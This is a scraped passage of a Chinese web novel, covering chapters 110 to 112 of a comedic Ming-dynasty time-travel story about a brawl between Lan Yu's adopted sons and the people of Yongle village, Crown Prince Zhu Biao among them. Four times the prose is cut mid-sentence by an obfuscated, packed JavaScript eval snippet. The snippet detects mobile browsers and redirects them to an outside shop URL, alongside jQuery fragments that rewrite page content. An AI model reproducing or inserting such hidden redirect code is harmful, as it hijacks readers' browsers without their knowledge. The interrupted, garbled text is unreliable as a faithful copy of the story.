起码,感知到危险的刘廌,朱棣和朱橚,那是短时间内不敢靠过来的了。 李景隆在远处讥笑了两声。 似乎是在笑朱棣等人逃窜的狼狈样。 “三江,好笑是嘛!” 瞥到李景隆蹲在那笑的朱棣,那是转了个身,一下就扑了上去。 爷不敢和朱哥硬碰硬,还不能揍你? 很快院子就充斥着,诸如四哥我错了,我真的错了,还敢不敢笑之类的话语。 在油烟中炒着菜的朱安宁,那是看得一阵无语。 怎么这院子,就跟大学宿舍似的…… 天天就是闹腾和闹腾…… 正当朱安宁摇头的时候,那院子的门传来拍门的声音。 靠门近的刘畾,那是热闹也不看了,起身就跑了过去。 “谁啊?” “我,戚祥。” “啊,戚叔啊。”刘畾连忙把门打开。 见到的是正在抹去额头汗水的戚祥。 只见他也不生分,那是直接就跨进了朱安宁 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“便饭而已,对了戚叔,那学堂建好了,你不是说过你会些拳脚功夫么,到时抽空也教一教那些小屁孩?” “啊?教他们拳脚功夫干嘛。” “哎呀,我这学堂,那是德智体美劳全面发展的。” 朱安宁炒着菜,被呛得头晕眼花,随口回道。 而戚祥那听得懂那么现代的标语,那是直接开始挠头。 “什么德什么?” “呃,就是让您教他们强身健体。” “行吧……有时间的话我就去教他们一些强身的套路咯。” 戚祥也没有拒绝。 毕竟以前他也是训过民兵的老兵油子,虽然不太清楚朱安宁想干嘛,但是帮个小忙,对他来说不算什么大事。 戚祥看了两眼菜,又绕到了树下,对着几个年轻人打了招呼。 已经在永乐庄呆了许久,他和朱棣等人早就熟悉,礼数也就是简单示意就行,反正朱棣他们也不会因为这个就怪罪戚祥。 所以在院子里的戚祥也是相当放松。 本来戚祥是觉得自己一个皇帝亲兵,来这里玩农家游戏,那是一件很蛋疼的事情。 结果过了这么些日子,他慢慢乐在其中,已经完全熟悉了自己里长的身份。 不说别的,这永乐庄的氛围是真的舒适,甚至让戚祥动了未来举家来这里养老的想法。 这里的人,说话又好听,庄主朱爷,又是个能得到陛下和太子赏识的人才,还是院子里这几个大明未来栋梁的先生…… 好地方呀好地方呀。 所以最近戚祥办事是特别有干劲。 按照朱安宁的说法就是,建设新农村,需要的就是这种精气神。 而戚祥也没有坐多久,朱安宁就端着菜过来了,顺便还吼了句。 “你们几个要死啊,还闹,快点帮戚叔装饭!拿碗筷!!!” 远处几个还在打闹的人,立马就停了下来,那叫一个听话。 当然戚祥也不至于说真的傻到就让这几个皇子爵爷的后人真就来照顾自己,他麻利地站了起来,加入了拿碗筷的行列。 菜很快就在桌面摆好。 几人直接就吃了起来。 刘廌本来是拿着纸笔过来的,朱橚甚至都准备开了口了。 但是朱安宁一直没有放下手中的锅铲。 几人也是只能唉声叹气,感叹这话本又要拖些时候才能听到了,真是可恶至极! 当然了,干饭那是丝毫没有耽搁的。 饭菜这么香,不多吃两口都对不起朱安宁的手艺。 当众人在大块朵颐的时候,隐隐约约听到好似又有人拍了院门。 “谁啊,饭点敲门。”朱安宁抬头看了眼门的方向。 机灵的李景隆同志,那是里面就站了起来,跑过去开了门。 结果,众人看到的是,意外的面孔。 “柳文?” 是在饭桌前的朱安宁和戚祥同时皱起了眉头。 柳文出现很让他们意外。 而更让他们意外的是,柳文现在的样子……很是狼狈啊。 “戚叔你也在啊!呜……太好了,朱爷,戚叔,庄外来了几个人,把我们给揍了!呜呜呜……下手那叫一个狠,我是好不容易才跑出来的……” 第一百一十章 瑟瑟会掏空身子的 蓝狩和蓝奔,正走在田埂边上,蓝梁跟在后面,那是满脸愁容。 蓝狩蓝奔原本是负责城里的酒楼生意的人。 前些日子因为没有完成蓝玉指定的kpi,被打发回了这村沟沟的地方,负责管田地。 这可不是什么乐事。 油水少不说,B事还多,特别是最近,田里的那些农夫们,天天就在聊永乐庄永乐庄,永乐庄人好福气。 听得蓝狩蓝奔是一阵腻歪。 永乐庄里有他们的爹是不? 聊天就算了,不知为何,这些农夫好像突然就没了耕地的积极性,这导致了农夫们干活的麻利速度,肉眼可见的下降了。 这可把蓝狩和蓝奔给郁闷坏了,现在都下来管佃农了,这个再干不好,还能去哪里……不会被派去更难顶的地方吧…… 于是当蓝玉找到他们,说让他们去永乐庄看看情况的时候,他们那叫一个义不容辞。 蓝玉的想法也很简单,怎么地也是曹国公的家业,先派人过去探探虚实,然后自己再出面,这样最稳妥。 为了保险,他还派了最熟悉永乐庄的蓝梁一同前去。 “蓝梁,那十车石膏,义父已经遣人帮你挖出来了,现在是时候卖出去了,你速速再去和那永乐庄的朱安宁好好聊聊,他喝敬酒,那就好,不喝,那就罚。” 蓝玉满脸笑容地交代了蓝梁的任务。 而蓝梁,那就是无比郁闷了。 不说别的,就看自己义父这态度,和派的人,明显就是去永乐庄找茬的啊。 蓝狩和蓝奔可不是什么大善人,在臭名昭著的蓝家义子序列里,这两人也是以无赖著称的高级人才。 而自己虽然没有做成永乐庄的生意,但是平心而论,他觉得朱安宁还算可以结交的人……结果现在要陪着这两人才去闹事,那是想想就闹心。 至于四百两卖石膏……也就是比市价高了四五成而已嘛……直接去抢岂不是更快? 这也是上次去朱安宁那里,蓝梁连新价格都懒得提,直接给朱安宁退掉费用的原因。 人又不是傻逼!还能接受这种价钱? 从永昌侯在郊外的院落出发,到永乐庄,耗时并不长。 蓝狩和蓝奔,一人满肚肥油,一人瘦骨如柴,正是那就被酒色掏空身子的类型,结果就是这短短的一段路,就已经让他们气喘吁吁,黄豆大的汗液不住地从脸颊流下,滴到地上,溅起些灰。 “他奶奶的这些个贱民,住那么远干嘛……累死蓝爷我了……呼……” “呼呼……蓝狩,都他妈叫你减肥了,肥得跟头猪似的,呼呼……体力就是差……给你点那秦淮河边的姑娘你怕不是都没力气动。” “你踏马的,蓝奔,狗嘴说不了人话就住嘴,老子动不了,不能让姑娘动啊……呼呼……而且你他娘的瘦得跟竹竿似的,还天天去那河边寻快活,也不怕哪天死在那些娘们肚皮上。” “嘿,人生得意须尽欢……你这肥猪懂个毛……” 两人在路上就是不断地粗言秽语。 你要说他们关系好,那是骂得叫一个难听。 但是你说他们关系不好,那骂的那么难听,两人也还在说话…… 而五句话里四句带漂的……也算是让蓝梁大开眼界了。 蓝玉义子众多,产业也不少,所以其实有很多义子,对蓝梁来说就是听过名字,实际没怎么相处过的那种。 比如这蓝狩和蓝奔就是,如果不是这两人调来了和自己一起管田地,自己也大概是不会和他们有交集的。 “咳,两位,永乐庄就在前面了。” 眼看已经过了郑村的地界,他们已经越过了李景隆和朱棣大战的河坝,蓝梁连忙开口提醒道。 “嚯,终于到了,踏马的,这苗都才刚种下去,就这样一个破庄子,那些贱民们还天天念叨。”蓝狩长呼了一口气,看着眼前那些才刚刚插秧结束的水田,很是不屑。 这确实也是朱安宁他们没有赶上趟,这基本就是播种的季尾了,他们才搞定水渠和育秧一类的事情。 也就是这两天才勉强把苗给分到田里,自然也就没有隔壁那些村子长势那么好看。 而蓝梁管田地的日子,要比这蓝狩和蓝奔要长得多。 他一眼就看出了这庄子与别地的不同。 这四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378714|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通八达的渠是怎么回事! 明明是靠河边,还需要挖这么宽的渠么? 随便挖点沟能漫灌到田就够了吧! 他看着这些渠,多少是有些震撼的。 虽然不是什么很难的大工程,但是哪有村子会这样搞,地主们肯定不会花钱挖,佃农们通常就是管好自己一亩三分地就行,也不想挖。 这…… 而且看那些农夫们干活的样子,那叫一个卖力。 比起自己管的田里那些,要卖力得多。 看精气神就能看出不同。 他又突然想到了,这些田地,是十收一的…… 怪不得那么卖力…… 换位思考一下,如果田里的粮大部分余下来的,都是自己的,那自己也会哼哧哼哧干吧。 蓝梁没有管那蓝狩和蓝奔,径直就 走下了田间。 他还看到了那些农夫正在撒不知道什么东西。 这是肥? 不对,农家肥不应该是这样的啊。 作为经验丰富的管事,他还是懂点耕作之法的。 而在蓝梁下去的时候。 另外两人则是没有任何动作。 “热死老子了。”胖子蓝狩在那给自己扇着风,嘴里也是不干不净:“他妈的那个脑残病地主在哪里,不是还要我们走进去找吧,还在城里就好了,叫个轿子哪会这么难受。” “妈的,这么热的天,那脑残病朱安宁也至于大白天跑外面来闲逛吧,嗯?蓝梁呢?让他带路呗。” 两人在那说着话,却没发现灌木丛下的阴凉处,几个孩子正在那玩耍。 带头的是柳文还有另外一个更大些的孩子。 “修道,你听见没?那两王八蛋在骂咱们朱爷。” 几人猫在那里,听着蓝狩和蓝奔在那满嘴喷粪,那自然是极其恼火的。 在柳文他们心中,朱爷就是天,给了他们吃,给了他们活下去的希望,还会给他们讲好听的话本! 这忍不了! 柳文正欲继续说些什么。 却发现……那胡修道,已经冲了出去。 第一百一十一章 总有刁民想害孤! 柳文就这么看着胡修道冲了上去。 他嘴里也是不干不净,尽显粗鄙本色…… “草你们奶奶,不许说朱爷的坏话!” 胡修道叫嚷着,在展开喊话攻击的时候,手脚也没有停下。 他从最开始就瞄着那个胖子的某些要害部位。 虽然莽,但是他打架可不蠢。 吨位就是战力,这胖子一看就比瘦子要难解决,所以先干掉胖子,就算一换一也划算! 胡修道这一声大喝,可是实实在在把还在纳凉的两人给吓了一跳。 什么B动静? 而因为视野的缘故,他们又确实没有办法第一时间发现前冲的胡修道。 直到那少年的拳头已经来到跟前的时候。 两人才意识到。 这是无耻的偷袭。 年轻人不讲武德!偷袭老同志! 而更令蓝狩惊恐的是,这少年瞄准的位置实在是弔。 就是弔啊! 这一记王八拳打下来,要出大事。 蓝狩好想躲,却躲不开。 因为太胖了,挪动身子是艰难的。 于是,他只能眼睁睁看着这拳头不断放大……最后是意料之中的痛击。 胡修道一记王八拳,精准地击中了胖子蓝狩的要害。 蓝狩当即跪地哀嚎。 效果拔群啊! 只是接下来就没那么好运气了。 蓝奔虽然看起来瘦不拉几,但是怎么地也比胡修道这种十来岁还没完全长开的小孩要强。 他是立马就反应了过来,街头打架这种事情,他可不陌生,反手就是一个锁喉扣住了胡修道。 那是看着就要下死手的那种。 “你个小崽子,下手挺毒辣啊!”蓝奔一脸怒容,力气又加了几分。 而胡修道能一拳打得蓝狩鸡折卵爆,但是也是气势已尽,确实就是没办法反抗蓝奔。 只是关于这点,他早就有算计。 柳文等人可不是只有眼睛的。 就算他们反应比自己慢一点,现在也该回过味来了吧。 果不其然,在蓝奔愈发用力,勒得胡修道快要顶不住的时候,柳文带着人冲出来了。 只见柳文随手就是抓起了一把泥沙。 他们可没有什么武德。 况且现在是自由搏击,加点道具也不为过。 于是他捏着这把沙子,就这么往蓝奔脸上抹去。 蓝奔最开始就看见一个孩子,哪能想到这灌木丛里面能出来这么多人。 那是一时慌了手脚。 只是说本能反应还在,他一个挪位,躲开了却也没能完全躲开。 抹眼睛是抹不到了,蓝奔也是没想到柳文会这么贱……这小孩手里的泥沙因为身位的原因,抹不到眼睛,但是他居然能往自己嘴巴里塞…… “我去你个贱……呜……呸呸呸……”蓝奔吃了一嘴沙子,血压那是又高了几个点。 被柳文带着人这么一闹,那胡修道也是脱离了蓝奔的限制,连忙脱离了对方的攻击范围。 跑之前他还不忘又踢了一脚那蓝狩。 “唉哟……毒啊……你个小贱种是真的……唉哟……”而蓝狩也终于缓过来一点点,他勉力半站了起来,眼中似要喷火,当然,嘴里的怒骂和哀嚎转换也是毫不突兀…… 胡修道偷袭得手,但是远没有说让这个胖子失去战斗力。 这样有点形式逆转的意思了。 胡修道那是冷汗立马就下来了。 刚才血气上涌,是冲动了。 现在没能搞定那胖子,不好说了啊…… 毕竟自己这边人看着多,实际上也就是一堆半大孩子,战斗力真正算有的话,就是自己和柳文而已。 对面两个大人看面相也不是什么善茬。 而且最重要的是。 他们身边怎么又多了一个人! “蓝狩,蓝奔,怎么了?”是在远处看田地的蓝梁,他也终于是看到了这边的闹腾,走了回来。 胡修道看着眼前的三人。 连忙拉了拉柳文。 而此时的柳文,已经是脸色煞白。 毕竟挨揍是会疼的啊…… 只是抛弃小伙伴这样的糗事,他也是不愿意做的。 “小文,一会你带大伙直接跑!跑去小树林那边!” “啊?” “啊什么,我们打得过对面三个汉子么……不跑挨揍啊!” “也……也是哦。” “你呢?我引他们跑另外一个地方,你一会跑开了,赶紧叫戚叔过来帮忙啊,戚叔做过兵,听他说寻常三五个人近不了他身,是时候看看他是不是吹牛皮了。” 胡修道的计划并不复杂。 所以柳文听的明明白白。 “跑!” 随着胡修道一声令下,柳文也大喝了一声:“跟我跑!” 几个孩子都是唯胡修道和柳文马首是瞻的,那就是两个哥哥说什么自己照做就对了。 柳文领着人跑得那叫一个快。 胡修道却没有马上转身。 只见他咧开嘴,笑了笑。 说出了让蓝狩血压直接 爆表的话语。 “死胖子,蛋疼么?” “嗷!我要杀了你!” 没有丝毫犹豫地,蓝狩冲向了胡修道,而蓝奔也紧随其后。 他那满嘴沙子,是到现在还没吐干净。 他的血压可不比蓝狩低。 唯一懵逼的就只有蓝梁了。 只见他站在原地。 是一脸莫名其妙。 “发生什么事了?” 随着几人的奔跑,村道上尘土飞扬。 官道上也好不到哪里去。 朱标走在道上,被那尘土呛得有些咳。 早前他的病,现在已经好得差不多了。 不由得感叹朱安宁药物之神奇。 而他的好大儿朱雄英也是,第二天就直接活蹦乱跳。 最开心的自然就是那批御医。 他们得以延寿了,能不开心么。 至于这药是什么。 轮不到他们打听,最多就是好奇而已。 天下奇人异士这么多,比自己厉害不奇怪。 这是御医们统一的思想。 反正活着就好。 而这恢复健康的朱雄英,也是让熬了一天没怎么休息的马皇后乐得眼泪直冒,一直说要好好谢谢这个献药的人,说什么都要召他进宫,当面谢谢加赏赐。 这也是把一边的朱元璋和朱标弄得有点尴尬。 这召还是不召嘛,是个问题。 最后还是朱元璋和马皇后解释了一通,马皇后才知道应天府郊外多了个这样的神人。 “那你们总归还是要赏点什么给别人吧!” 只是,最后马皇后还是下达了命令。 那事情就简单了。 一家三口都觉得要赏朱安宁,那就赏呗。 这也是朱标今天微服出来的目的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378715|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总归还是先给朱安宁交交底,就说这矿他能搞定,想个办法给他就是,附近的田地刚好也靠永乐庄近,一起给他算了。 看看他到时怎么安排。 盘算着,朱标越过那个棵驿站前非常有标志性的歪脖子树,拐到了乡道上。 走到快要看不见驿站的时候。 朱标看到了让他难以忘怀的场景。 两个大男人,一胖一廋,正在追赶一个瘦弱的少年。 三个人的嘴巴都极其的不干净。 那是朱标从未听过的刺激。 什么干你老母,都是轻的。 双方不断地失去爹妈和祖宗,很快就上升到了族谱对战和器官对决。 污言秽语到让朱标怀疑自己是不是来错的地方。 在尘土飞扬中,朱标也是看清了被追赶的小孩,不就是庄里经常能看见的那群小孩们的头么,来过两次永乐庄的朱标还是能认得出人的,只是叫什么名字,那就为难我们太子爷了。 只是两个大男人这么撵着一个小孩,也是有点难看了吧, “小弟你也是永乐庄的吧,这什么情况。”他大声问了一声。 “这两庄外的欺负人!” 胡修道真是跑得上气不接下气的时候,看到不远处的朱标发问,那是眼睛一亮,他见过这人,他见过这人进朱爷的院子,说不得应该是自己人啊!所以他连忙回答道。 朱标眉头一皱。 庄外的欺负人? 他还在思考。 可惜蓝奔已经开始发笑。 他瘦,所以跑得要比胖子蓝狩快些,眼前这男人,一副和那该死的小屁孩认识的样子,那就一并揍就对了。 于是朱标还没反应过来的时候,一记老拳,已经打在了他的眼睛上。 打得是让他莫名其妙,又恼火不已。 什么情况啊?什么情况?光天化日,朗朗乾坤,这里是应天府啊!居然有刁民想害孤! 朱标是什么人,那是明朝几大将军联手教出来的人,就算他天赋再怎么差,武力值也是相当高的。 那反手就是一记长拳,把蓝奔打得是措手不及。 “你奶奶的还敢反抗?!” 蓝奔猝不及防之下,也是被打乌了眼睛,随后赶到的蓝狩,那瞄了一眼,是想笑又不好意思笑,毕竟自己被砸了蛋对方都没笑,自己笑会不会有点不厚道。 “愣着干嘛,一块上!” 蓝奔催促了一句,两人那是默契地一拥而上。 朱标立马就有些不支起来。 实际上蓝玉的这两个义子,打起来居然也是一点也不差,想必是他还是有教过他们些东西的,不然怎么能平安地欺行霸市呢。 胡修道一看这男人为了自己,居然也挨了几拳,那是跑也不跑了,扭头也加入了战局。 而此时,郑村坝上。 蓝玉正在带着大批家仆赶来。 “啧,这事啊,和行军一样,蓝狩和蓝奔呢,就是前军,他们想必已经和那庄里的人起冲突了,就他们那德行,必然会惹火几个村民,只要打起来,我们这中军,那就师出有名了啊!” “报!侯爷,那边好像真的打起来了!” “好!” “义父果然高见!” “记住啊,我们今天,就是去打出威风的,然后呢,才有脸面和那朱安 宁聊一聊正事,大家听着啊,动手麻利点,但是不许出人命!!!奶奶的,本将军都亲征了,还拿不下你个永乐庄?” 蓝玉咧嘴笑了起来。 笑得潇洒又不羁。 第一百一十二章 主将正在热身 狼狈的柳文,正领着朱安宁戚祥等一大群人向这边跑来。如果朱安宁知道眼前在打群架的分别是太子,永乐庄非著名小农之子,永昌侯义子的话,他一定会感叹。 世界就是个巨大的草台班子!!! 如安倍桑掏心窝子的那一枪。 如牢大的直升飞机。 如嘉靖和他宫女的那条绳子。 如明朝的皇帝为什么易溶于水…… 都是草台班子啊! 因为几人打得尘土飞扬的缘故,一群人跑近了才看清楚,是谁在挨揍…… 那戚祥是眼珠子都要瞪出来了。 太子??? 这两人是不是疯了,为什么要揍太子??? 驿站那群傻逼呢? 他们在干嘛。 是屎糊住了眼睛么,这般阵仗那么大都看不见? 戚祥那是血压也高了起来。 当然,他没想到的是,驿站确实是看不见这里…… 郊区,草木长得肆意,那是遮挡效果一流啊…… 对比蓝狩和蓝奔一边打一边骂的架势。 朱标倒还是打得得体,但是就是因为太过得体,还是被阴损的二人组压制了些。 幸好有那胡修道分担一点点压力,能分担……但不多……毕竟就是个没学过武的少年。 朱棣和朱橚一看这场景,那就没想那么多了,大哥挨揍了? 这尼玛的。 两人撸着袖子就冲了上去。 朱棣还不忘喊了一声:“三江,跟哥冲!” 于是朱棣朱橚和李景隆,加入了战局。 柳文也是瞄了个机会,也上去帮胡修道。 刘廌和刘畾则还算克制……他们可是纯粹的文人,虽然现在有耕田,但是也是懂得耕田的文人而已,打打杀杀什么的,太残暴了啊! 随着几人的加入,那局面里面就一面倒了起来。 蓝狩和蓝奔立马就招架不住,当然嘴上那是不能停的。 各种辱骂那是信手拈来,嘴上直接就让朱棣朱橚几个文明人瞬间没了马皇后,这种级别的骂法他们倒也不是没听过。 但是骂得又粗又快,这精神攻击恐怖如斯! 老朱家三人都骂不出那么难听的话,他们爹或许可以。 倒是李景隆和胡修道,这两人还有点反击之力,通过不断攻击蓝狩和蓝奔的祖宗,进行亲人特攻。 可惜的是,蓝狩和蓝奔……根本就不在乎…… “马拉个巴子的,几个人打我们两,算什么英雄好汉!”快要招架不住的蓝狩,连忙喊了句。 这句极负道德绑架气息的话语,瞬间就让朱标等人的动作熄了熄。 那蓝狩一看自己的话语起作用了,正想补多句。 结果他还没开口,下体又是一疼。 他忽略了一件事情。 这种道德绑架,只对有道德感的人起作用。 而很明显的是,那个能和自己祖宗对轰的小屁孩,是没有道德感的。 所以胡修道的动作没有停下,那一记猴子偷桃,结结实实地,输出到了蓝狩身上。 让这胖子的声音,变得无比尖锐。 尖锐到,让在场的所有男性,都缩了缩身子…… 毕竟是,真的痛啊看起来。 朱安宁瞬间就想到了以前新闻看到过的,被掐蛋导致疼死的那个倒霉大哥…… 疼啊…… 不过看着场景,好像打得差不多了。 毕竟是在自己地头打架,自己作为地主,还是上去拉个偏架吧。 戚祥也是这个想法,这太子挨揍了自己不出手,这说不过去。 于是两人都往前走了几步。 早就赶到附近的蓝梁,看着这场景,那是一脸茫然。 因为这情况是在是太扯淡了,他根本不知道发生了什么…… 所以当他看着那小孩攻击蓝狩的下体时……那是倒吸了一口凉气。 什么仇什么怨。 在蓝梁观战的时候。 不出意外的,意外来了。 蓝玉带着一群人绕过了驿站,到了更偏僻的一条小道上。 然后猛地出现在了一众人面前。 尘土飞扬啊。什么都看不清啊! 但是蓝将军觉得,优势在我。 “上!” 随着他的一声号令。 家仆和几个义子,狞笑着从侧面摸入了战局之中。 而这大阵仗,自然也是逃不过众人的眼睛。 蓝狩和蓝奔看着自家人走了过来,那简直是大喜过望。 开口就是:“义父救我!这庄子的人好生残暴啊!” 踏马的还有增援? 听见蓝狩和蓝奔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“柳家小子,胡家小子,你两就别在这添乱了,赶紧走,一边去。” 在这混战中大杀四方的戚祥,终于是腾出了手来,抓住了还在那阴人的柳文和胡修道,一把把他们丢了出去。 他两本来还想嘴硬一下。 但是戚祥的表情不仅严肃,还带着杀气。 他们可不是蠢蛋,立马就知道戚祥这话是认真的。 于是也是缩了缩脖子,乖乖往后退去。 而后方的刘畾和刘廌,更是直接就把他们赶回到了庄子里面去。 反正不能让这两个半大小子参与这个级别的斗殴,是永乐庄几人的共识。 虽然……好像这斗殴就是他们引起的,这个事后再清算吧…… 于是,战斗开始进入白热化。 各方选手开始积极互动了起来。 蓝玉队伍那边还是人多势众,可惜目前来看角色队员居多,当家队员还未下场。 这得分形势不容乐观,双方在半场已经推搡了相当长的时间,我们可以看到蓝玉队好几次想要强攻,都被这个太子队的核心人物戚祥给打了回去。真是可惜,看来是队伍里面有不少人出工不出力啊,现在可不是表演赛啊,要加把劲了。 而已经打了一整节的蓝狩和蓝奔,原本实力是相当强劲的,现在体力也有点跟不上了。 特别是蓝狩,之前因为和对方已经红牌下场的胡修道缠斗了过长的时间,还被对方肘了关键部位两次,这是很受伤啊,这个明显能看出受到了对方这个技犯的影响,现在行动起来有点不是很顺畅。 而蓝奔这种体重本来就比较擅长打快攻,需要和人打配合的选手,现在已经进入了后半场的强攻时间,这个体型能发挥的作用确实有限。 总之现在来看,蓝玉队是形势有点不容乐观的。 但是我们刚刚已经看到了,这队里的主教练已经开始热身了,看起来他要动身下场了。 这就给比赛来了变数,当然,也是更加提高了这个观赏价值啊。 现在先让我们把视线转回场内。 这太子队的几个队员呢,也是发现了对方队伍的薄弱点。 他们的配合呢也更加默契啊。 是朱棣扛在了后面,让他的弟弟朱橚和好大哥朱标可以顶到前面去击打这蓝狩和蓝奔得分。 朱标队员本来就因为对方来上就侵犯他很是不满,那现在有了自己弟弟的掩护,这个踏入禁区的动作变得很是大开大合,大有要攻破对方的气势,几拳下去虎虎生风,颇有他父亲太祖长拳的神采,那是把蓝狩和蓝奔打得哭爹喊娘,自然也就没办法再言语攻击别人的娘。 而朱棣队员也很是清楚自己是扛不住那么多人的哈,他利用自己手臂较长的优势,一把拉过了不远处的李景隆队员。 这波配合虽然不是很行,但是效果来看还是可以的。 我们可以看到落在朱棣身上的拳头,一半都被分担到了李景隆身上。 而这波小配合也是成功让太子队的核心队员戚祥,一个大鹏展翅就落到了对方的人群中,左冲右突,那是效果拔群。 那么这些,跟我们的太子队吉祥物有什么关系呢? 答案是没有关系。 朱安宁就是一门心思想跑…… 他好想逃,但是却一时之间逃不掉。 只能往他想着安全的地方挤。 然后,他遇上了蓝玉。 蓝玉可没有见过朱安宁。 当然了,朱安宁也没有见过蓝玉,不然他也不会往这边钻了。 他只知道这边是对方人马进场的位置。 本着最危险的地方就是最安全地方的思路,他是一路往这边挤,虽然挨了几记黑拳,但是总体还在可以忍受的范围内。 眼看就要脱离战斗,可以搓炉石回城了。 迎头就撞到了一个牛高马大且不认识的汉子。 那这就有意思了。 永乐庄里有朱安宁不认识的人么? 答案是没有。 所以这就是对面的人。 蓝玉也是这么想的。 他看着自己一群人,人数应该是比对方多的,怎么被人好像掐鸡仔一样,一下就打倒了一片。 他奶奶的这庄子有点残暴啊。 人太多的缘故,他仍旧是没能看清戚祥和太子皇子…… 所以他现在很急,他急着去救场。 就像他方才说的,都打上门了,就一定要打赢,这种情况还能输,那丢人可丢大发了啊…… 所以率先进入他攻击范围的朱安宁,就悲惨地成为了那个对象。 蓝玉的一拳,相当地朴实无华。 那是饱含了蓝玉军旅生涯的拳头,有沙煲那么大。 朱安宁则用实际行动,证明了沙煲大的拳头威力有多大。 他被这一拳结结实实地打中,然后也成功实现了他的目的,退出战斗。 只是,他是没有机会搓炉石的了。 因为他被打晕了…… 所幸的是,蓝玉没有什么兴趣去补刀……而是火急火燎地想挤到主战场去为自己人助阵。 悲惨倒地的朱安宁,是由一脸无奈的刘畾和刘廌拖到 一边去的…… “先生……先生……” 两人在那边唤个不停,但是脑瓜子嗡嗡的朱安宁一时半会哪能缓得过来…… 只见身材高大的蓝玉,直接就拨开了他的人,来到了戚祥身旁。 混乱中两人不停地过着招。 几拳几脚下去,让两人都忍不住惊呼:“高手!” 而后,蓝玉才看清戚祥的脸。 戚祥也是如此。 蓝玉作为朱元璋的老部下,怎么会不认识朱元璋的亲兵。 本想惊叫的蓝玉,下意识觉得非常不对头,把惊叫变成了惊呼。 戚祥也是倒吸了一口凉气。 什么动静,怎么有个永昌侯在这里。 还是说这群人就是永昌侯家的人?! 都说那永昌侯蓝玉癫癫的,义子还欺行霸市…… 这………… 于是戚祥也愣在了那里。 蓝玉此时的脑瓜子和被他打倒了朱安宁一样,是嗡嗡的。 等下! 不对劲! 这不是曹国公家的产业么…… 曹国公这边,自己碰一下,只要不出人命,还是有得谈的,又不是什么大事,就是自己想过来找点场子而已。 但是……为什么会有个戚祥在这里?! 蓝玉惊恐地开始向周围看去。 好消息是。 虽然戚祥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378717|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个朱元璋的亲兵在这里,但是……老朱,他亲爱的朱老板还像不在场。 当然,他也是顺利发现了那个坏消息。 李景隆在场,是他可以预见的事情。 但是……为什么四皇子,五皇子也会在这里……还有那个猛打拳的……不是自己家的太子爷么…… 是这世界疯了还是他疯了。 这永乐庄,不是宫里吧…… 热汗冷汗,那是一起冒了出来。 蓝玉要说还是有魄力的,只见他大吼一声:“都住手!!!” 一把喝止住了他蓝家的人。 只是朱标那边,他早就打出了火气。 “让你骂我娘!!!狗日的东西!”他砰砰几拳,结结实实地打在了那蓝狩和蓝奔的眼睛上,算是给自己的眼睛报了仇。 本来还是防御姿势的朱棣,还有李景隆却也是突然发现,压力小了好多了啊! 两人伸了伸脖子,也是终于看清了那站在他们身前,脸色铁青的人儿。 “永昌侯?”朱棣一脸懵逼地叫出了声。 终于也是唤回了朱标的理智。 只见朱标一把甩开已经被他打得差不多要求饶的那两人,回过了头来。 然后,也是如朱棣一样懵逼。 “蓝将军?” 其实朱标和蓝玉的私交确实是很好的…… 毕竟有个常遇春在那里,把两人的关系拉得是无比的近。 而现在这种场合,关系越近,那就越尴尬。 几个人,全部停下了动作,那是大眼瞪小眼。 最后智商第一个上线的人是朱标,他顶着个黑眼圈,闷声说道:“永昌侯,你先把你的人带回去,再回来!” 因为蓝玉没有提他们身份的缘故。 所以在场的蓝家人还不知道眼前的人是谁。 有几个狗腿子甚至还想跳出来喊,你谁啊,敢这么跟我们侯爷说话之类的云云。 当然,这几人还没起势,蓝玉就知道了他们想干嘛,那是慌忙用眼色镇压了他们的愚蠢想法…… “好……”他连忙先应承了朱标。 然后脸一阵青一阵白地开始对身边的人吼道。 “你们干嘛!来人家永乐庄惹事干嘛!啊,就是蓝狩和蓝奔你两惹的事是吧!看我回去不收拾你们,还不把那两混账东西给我架过来?!” 这一波话语,那属实是把他家的人给搞懵逼了。 但是蓝玉的威势还在那里,还能行动的那几个义子是慌忙过去架起人就跑。 蓝玉也是回过了头来,对朱标等人行了个礼。 “咱一会就回来……” 于是,蓝家人就此退去。 留下朱标等人,也是有些茫然。 这是怎么打起来的,又是怎么结束的。 真踏马荒谬!!! 特别是朱标,他此时才回过味来,自己的眼角是一阵生疼…… 